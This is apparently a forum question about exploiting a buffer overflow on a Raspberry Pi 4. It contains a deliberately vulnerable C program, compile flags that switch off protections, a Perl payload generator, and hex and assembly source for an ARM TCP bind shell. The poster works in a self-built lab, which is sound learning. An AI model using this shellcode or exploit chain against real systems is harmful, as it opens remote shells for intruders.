How can I exploit a bufferoverflow on a Raspberry Pi 4?


I am trying to exploit a bufferoverflow on raspberry pi 4 which makes use of Cortex-A72 (ARM v8) 64-bit SoC. The linux kernel version is v4.19 and the OS a Debian Buster compiled for the raspberry pi arm architecture.

Vulnerable code

#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h>  int main(int argc, char **argv) {   char buffer[64];    gets(buffer); } 

Compilation options
The code above is compiled with all protections deactivated.

gcc -no-pie -Wl,-z,norelro -fno-stack-protector -z execstack program.c -o program 

enter image description here

Payload
The payload is generated with the following perl code:

#!/usr/local/bin/perl  $  nopsled = "\x01\x10\xa0\xe1"; $  gad_blx_sp = "\xD5\xAF\xE7\xB6"; # adress for gadget "blx sp" in libc  $  Shellcode= "\x06\x60\x46\xe0" . "\x01\x30\x8f\xe2" . "\x13\xff\x2f\xe1" . "\x02\x20\x01\x21" . "\x92\x1a\xc8\x27" . "\x51\x37\x01\xdf" . "\x04\x1c\x12\xa1" . "\x4a\x70\x0e\x71" . "\x4a\x71\x8a\x71" . "\xca\x71\x10\x22" . "\x01\x37\x01\xdf" . "\xc0\x46\x20\x1c" . "\x02\x21\x02\x37" . "\x01\xdf\x20\x1c" . "\x49\x1a\x92\x1a" . "\x01\x37\x01\xdf" . "\x04\x1c\x3f\x27" . "\x20\x1c\x49\x1a" . "\x01\xdf\x20\x1c" . "\x01\x31\x01\xdf" . "\x20\x1c\x01\x31" . "\x01\xdf\x05\xa0" . "\x49\x40\x52\x40" . "\xc2\x71\x0b\x27" . "\x01\xdf\xc0\x46" . "\x02\xff\x11\x5c" . "\x01\x01\x01\x01" . "\x2f\x62\x69\x6e" . "\x2f\x73\x68\x58" . "\x00\x00\x00\x00";  print "$  nopsled" x 17; # 4 bytes x 17 = 68 print "$  gad_blx_sp"; print "$  Shellcode"; 

The gadget location in libc (B6E7 AFD5 in big endian) was found by searching for it with ropper:

Blx gadget adress

It’s absolute adress during execution can calculated by adding it to the adress found with the Vmmap command in gdb enhancement tool gef:

Gef vmmap command

Shellcode
The shellcode that you can see in the perl above above was assembled with assembly code that you can find on Azeria’s website. I changed it a little to avoid a badchar. More details from Azeria on her amazing website https://azeria-labs.com/tcp-bind-shell-in-assembly-arm-32-bit/ :

.section .text .global _start     _start:     .ARM     sub r6, r6, r6     //use r6 used instead of r2 during strb r6, [r1, #4] below to avoid badchar 0x0a     add r3, pc, #1         // switch to thumb mode     bx r3      .THUMB // socket(2, 1, 0)     mov r0, #2     mov r1, #1     sub r2, r2, r2      // set r2 to null     mov r7, #200        // r7 = 281 (socket)     add r7, #81         // r7 value needs to be split     svc #1              // r0 = host_sockid value     mov r4, r0          // save host_sockid in r4 // bind(r0, &sockaddr, 16)     adr  r1, struct_addr // pointer to address, port     strb r2, [r1, #1]    // write 0 for AF_INET     strb r6, [r1, #4]    // replace 1 with 0 in x.1.1.1     strb r2, [r1, #5]    // replace 1 with 0 in 0.x.1.1     strb r2, [r1, #6]    // replace 1 with 0 in 0.0.x.1     strb r2, [r1, #7]    // replace 1 with 0 in 0.0.0.x     mov r2, #16          // struct address length     add r7, #1           // r7 = 282 (bind)     svc #1     nop  // listen(sockfd, 0)     mov r0, r4           // set r0 to saved host_sockid     mov r1, #2     add r7, #2           // r7 = 284 (listen syscall number)     svc #1  // accept(sockfd, NULL, NULL);     mov r0, r4           // set r0 to saved host_sockid     sub r1, r1, r1       // set r1 to null     sub r2, r2, r2       // set r2 to null     add r7, #1           // r7 = 284+1 = 285 (accept syscall)     svc #1               // r0 = client_sockid value     mov r4, r0           // save new client_sockid value to r4  // dup2(sockfd, 0)     mov r7, #63         // r7 = 63 (dup2 syscall number)     mov r0, r4          // r4 is the saved client_sockid     sub r1, r1, r1      // r1 = 0 (stdin)     svc #1  // dup2(sockfd, 1)     mov r0, r4          // r4 is the saved client_sockid     add r1, #1          // r1 = 1 (stdout)     svc #1  // dup2(sockfd, 2)     mov r0, r4          // r4 is the saved client_sockid     add r1, #1          // r1 = 2 (stderr)     svc #1  // execve("/bin/sh", 0, 0)     adr r0, shellcode   // r0 = location of "/bin/shX"     eor r1, r1, r1      // clear register r1. R1 = 0     eor r2, r2, r2      // clear register r2. r2 = 0     strb r2, [r0, #7]   // store null-byte for AF_INET     mov r7, #11         // execve syscall number     svc #1     nop  struct_addr: .ascii "\x02\xff" // AF_INET 0xff will be NULLed .ascii "\x11\x5c" // port number 4444 .byte 1,1,1,1 // IP Address shellcode: .ascii "/bin/shX" 

The following command can be used to generate the ascii equivalent of the code above after assembly:

as bind_shell.s -o bind_shell.o && ld -N bind_shell.o -o bind_shell objcopy -O binary bind_shell bind_shell.bin hexdump -v -e '"\""x" 1/1 "%02x" ""' bind_shell.bin  

During execution
Now when everything is setup (executable compiled, payload ready with gadget adress and shellcode) in gdb when I enter the payload after launching the executable I get a SIGILL error. I do not know what is causing it.

Sigill error message

Below is some exception context info

sigill context info

The payload works fine on Raspberry Pi 3 but not on Raspberry Pi 4, both execute kernel 4.19 and Os Raspbian Buster.

NOTE : I do not get this error when stepping into the shellcode on the stack tough.

Question : Does anybode know what new protection measure on the SOC/kernel/os could be the cause? How can I deactivate these security measures?